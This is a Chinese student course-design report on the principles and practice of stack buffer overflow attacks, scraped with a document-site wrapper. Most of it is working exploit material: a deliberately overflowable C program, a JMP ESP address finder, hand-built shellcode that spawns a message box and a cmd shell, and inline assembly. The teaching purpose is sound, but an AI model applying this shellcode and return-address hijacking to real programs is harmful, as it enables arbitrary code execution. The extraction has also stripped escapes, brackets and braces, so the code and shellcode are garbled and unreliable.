缓冲区溢出攻击的原理与实践_第1页
缓冲区溢出攻击的原理与实践_第2页
缓冲区溢出攻击的原理与实践_第3页
缓冲区溢出攻击的原理与实践_第4页
缓冲区溢出攻击的原理与实践_第5页
已阅读5页,还剩6页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、精选优质文档-倾情为你奉上课程设计任务书 计通 学院 网络工程 专业 课程名称网络管理与安全课程设计时间20142015学年第一学期12周学生姓名指导老师向凌云题 目缓冲区溢出攻击的原理与实践主要内容:了解缓冲区溢出的类型,掌握缓冲区溢出攻击原理。设计一个缓冲区溢出的简单实例程序,编写shellcode,利用缓冲区溢出程序自动运行另一个程序,从而实现缓冲区溢出攻击,最后对攻击过程进行详细分析。要求:(1) 综合运用计算机网络管理和信息安全知识。(2) 学会文献检索的基本方法和综合运用文献的能力。(3) 独立完成任务书规定的任务并按要求编写课程设计报告书。(4) 通过课程设计培养严谨的科学态度,

2、认真的工作作风和团队协作。应当提交的文件:(1)课程设计报告。(2)课程设计附件。一、缓冲区溢出概念1、缓冲区溢出:指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区 又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。 2、缓冲区最常见的攻击手段是通过制造缓冲区溢出使程序运行一个用户

3、shell,在通过shell执行其他命令. 若该程序输入root且有suid权限的话,攻击者就获得了一个有root权限的shell,此时就可以对系统进行随意操作了.下面我来介绍一下如何控制程序跳转到攻击代码打开记录(Activation Records)在程序中,每一个函数调用发生,在堆栈中会留下一个Activation Records,它包括函数结束时返回的地址,攻击者通过溢出这些自动变量,使地址指向攻击程序代码. 通过改变程序的返回地址,当调用结束时,程序就跳到攻击者设定的地址,而不是原地址.这类溢出被称为 stacks mashing attack.函数指针(Function Point

4、ers)void(*foo)(1)定义一个返回函数指针的变量foo, Function Pointers可用来定位任何地址空间. 所以只需在任何空间内的Function Pointers附近找到一个能溢出的缓冲区,然后溢出它来改变Function Pointers. 在某时刻,当程序通过Function Pointers调用函数时,程序的流程就按黑客的意图实现了(典型的溢出程序有:Linux下的Superprobe程序).长跳转缓冲区(Longjmpbuffers)在C语言中,包含了一个简单的检验/恢复系统,称为setjmp/longjmp.即在检验点设定setjmp(buffer),用lon

5、gjmp(buffer)恢复. 但若攻击者能够进入缓冲区空间,则longjmp(buffer)实际上跳转到攻击者的程序代码. 像Function Pointers, longjmp缓冲区能指向任何地方,所以攻击者要做的就是找到一个可供溢出的buffer即可.最常见的是在一个字符串中综合了代码植入和打开记录. 攻击者定位或提供溢出的自动变量,然后向程序传一个超大字符串,在引发buffer溢出改变打开记录时植入程序代码,由此达到入侵系统的目的.二、缓冲区溢出实例实现原理1、 堆栈的组成:图2.1堆栈由数据存储区、EBP(栈底指针)、EIP(指令寄存器,指向下一条指令的地址)DcbaHgfEbp原E

6、IP.DcbaHgfLkjiPonm.正常时的堆栈情况内存低址0x0xEBP的值原EIP的值内存高址溢出后的堆栈情况内存低址0x0x0x696a6b6c0x6d6e6f70内存高址2、漏洞利用程序详细分析:图2.2编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要找到这个漏洞,我们需用shellcode进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP),如果EIP指向的下一个地址不存在,那么它就出错,警告你哪里的指令引用的地址内存不能为“read”,那么那个地址就是EIP所在的位子,由于每一个地址空间都是4个字节,所以EBP和EIP都占4个字节,所以在出错的地址前4

7、个地址就是EBP的地址。为了利用漏洞,我们就必须利用EIP的这个空间,将这个地址用JMP ESP来赋值,这样EIP>JMP ESP,这样程序执行到了EIP的地址空间时,就会跳转去执行JMP ESP,这样就会执行另一个shellcode的代码,这样我们就利用了缓冲区的漏洞。图2.3三、缓冲区溢出实例实现过程步骤1:编写一个漏洞分析代码<程序一>#include "stdio.h"#include "string.h"#include "windows.h"char name=" x41x41x41x41&qu

8、ot; /name0-name3" x41x41x41x41"/name4-name7"x6ax6bx6cx6d"/EBP"x6ex6fx71x72"/EIP"x73x74x75x76""x77x78x7ax7b"int main()char output8;LoadLibrary("user32.dll");strcpy(output,name);for(int i=0;i<8&&outputi;i+)printf("0x%x",o

9、utputi);return 0;调试结果如下图:图3.1以上是运行结构,图中所示地址(0x6f6e6d6c)是代码中的部分,所以这里是EIP,所以程序就显而易见了步骤2、我找到了漏洞所在的地址,但是我们还需找到本机的JMP ESP的地址,每一台机子的JMP ESP都不一样,所以,我用了一个小程序找它的地址,这个程序是在网上找的,具体什么意思也没有仔细分析。程序如下:<程序二>#include<windows.h>#include<iostream.h>#include<tchar.h>int main()int nRetCode=0;bool

10、we_load_it=false; /定义一个bool类型的,赋值falseHINSTANCE h;TCHAR dllname=_T("ntdll"); h=GetModuleHandle(dllname); /动态链接库的地址if(h=NULL) h=LoadLibrary(dllname);if(h=NULL) cout<<"ERROR LOADING DLL:"<<dllname<<endl; /输出地址return 1;we_load_it=true;BYTE* ptr=(BYTE*)h;bool done=f

11、alse;for(int y=0;!done;y+)tryif(ptry=0xFF&&ptry+1=0xE4)int pos=(int)ptr+y;cout<<"OPCODE found at 0x"<<hex<<pos<<endl;catch(.) /捕获地址cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;done=true;if(we_load_it)FreeLibrary

12、(h);return nRetCode;这样运行后,找到了本机JMP ESP的地址:0x7c93fcd8所以将EIP的地址改成JMP ESP的地址,那样就能通过这个地址,跳转,执行你想要的shellcode。步骤3、添加必要的shellcode,执行"x33xDBx53x68x66x69x73x68x68x6Bx6Fx6Fx6Bx8BxC4x53x50" /弹消息框代码"x50x53xB8""xeax07xd5x77" /messagebox在本机的地址"xFFxD0x53xB8xFAxCAx81x7CxFFxD0"

13、;将这些shellcode与程序一起写上,那么执行到JMP ESP的时候就可以执行shellcode了,这样就实现了利用缓冲区漏洞。程序如下:#include "stdio.h"#include "string.h"#include "windows.h"char name=/"abcdefghijklmnopqrst""x41x41x41x41""x41x41x41x41""x41x41x41x41""x12x45xfax7f"&qu

14、ot;x33xDBx53x68x66x69x73x68x68x6Bx6Fx6Fx6Bx8BxC4x53x50" /弹消息框代码"x50x53xB8""x8Ax05xD5x77" /messagebox在本机的地址"xFFxD0x53xB8xFAxCAx81x7CxFFxD0"int main()char output8;LoadLibrary("user32.dll");strcpy(output,name);for(int i=0;i<8&&outputi;i+)printf(&q

15、uot;0x%x",outputi);return 0;执行这个程序后,程序先不会出现缓冲区溢出的错误,会先弹出一个消息对话框(messagebox)出来。这样就利用了漏洞。对于shellcode的来源,我们要利用程序找到机器码才行首先需要将程序写成汇编语言,然后才寻找机器码。在这之前我们需要利用程序找到几个有用的函数地址。<程序三>#include <windows.h>#include <stdio.h>typedef void (*MYPROC)(LPTSTR);int main()HINSTANCE LibHandle;MYPROC Pro

16、cAdd; LibHandle = LoadLibrary("msvcrt.dll");/得到msvcrt和system地址printf("msvcrt LibHandle = /x%xn", LibHandle);printf("LoadLibrary=/x%xn",LoadLibrary);/得到LoadLibrary地址ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");printf("system = /x%xn", ProcAdd);L

17、ibHandle = LoadLibrary("user32.dll");/得到user32和MessageBoxA地址printf("nuser32 LibHandle = /x%xn", LibHandle);ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");printf("MessageBox = /x%xn", ProcAdd);return 0;这样得到的地址如下图:图3.2 为什么要这么麻烦的得到System函数和Loadlibra

18、ry的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。 比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push EIP Jmp Fun。其过程如下图所示图3.3同理,我们要执行System(""):首先参数入栈,这里只有一个参数,所以就把C的地址压入堆栈,注意是C字符串的地址;然后Call System函数的地址

19、,就完成了执行。如图所示。图3.4步骤4:下一个我们要实现的功能是弹出一个dos对话框,首先我们程序为#include <windows.h>void main() LoadLibrary("msvcrt.dll"); system("start cmd");exit(0);为了得到准确的机器码,所以接下来我们需要将这些代码转为汇编语言,那么如何写成汇编语言呢?这里有个一通用的格式:Push ebpMov ebp,espXor eax eaxPush eaxMov byte ptrebp-xh,xxLea eax,ebp-xhPush eax

20、Mov eax,0x函数地址Call eax所以改写程序如下:#include <windows.h>void main()_asm /在vc+下是实现汇编,必须用_asm才可以push ebp /将栈底指针压入堆栈mov ebp,esp/将堆栈指针指向栈底指针xor eax,eax/将eax清零push eax/构建堆栈,一个寄存器四个字节,4的倍数,所以一共三个堆栈push eaxpush eaxmov byte ptr ebp-0ch,6dh/将msvcrt.dll压入堆栈,遵循先进后出的原则mov byte ptr ebp-0bh,73h/地址依次增大mov byte pt

21、r ebp-0ah,76hmov byte ptr ebp-09h,63hmov byte ptr ebp-08h,72hmov byte ptr ebp-07h,74hmov byte ptr ebp-06h,2ehmov byte ptr ebp-05h,64hmov byte ptr ebp-04h,6chmov byte ptr ebp-03h,6chlea eax,ebp-0ch/eax里面装载的是msvcrt.dll的地址push eaxmov eax,0x7c801d7b/这里是本机器中LoadLibrary的地址call eax / system("start cmd

22、"); push ebp mov ebp,esp xor edi,edi push edi push edi push edi mov byte ptr ebp-0ch,73h mov byte ptr ebp-0bh,74h mov byte ptr ebp-0ah,61h mov byte ptr ebp-09h,72h mov byte ptr ebp-08h,74h mov byte ptr ebp-07h,20h mov byte ptr ebp-06h,63h mov byte ptr ebp-05h,6dh mov byte ptr ebp-04h,64h lea ed

23、i,ebp-0ch push edi mov edx,0x77bf93c7 /这是本机器system的地址 call edx exit(0);这样就完成了汇编语言,然后按F10进入调试界面,调出机器码(Disassembly键)步骤5 将各个shellcode写成机器码形式,如下面的程序:#include "stdio.h"#include "string.h"#include "windows.h"char name=/"abcdefghijklmnopqrst" "x41x41x41x41""x41x41x41x41""x41x41x41x41""x12x45xfax7f" "x55x8bxecx33xc0x50x50x50xc6x45xf4x6d" "xc6x45xf5x73xc6x45xf6x7

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论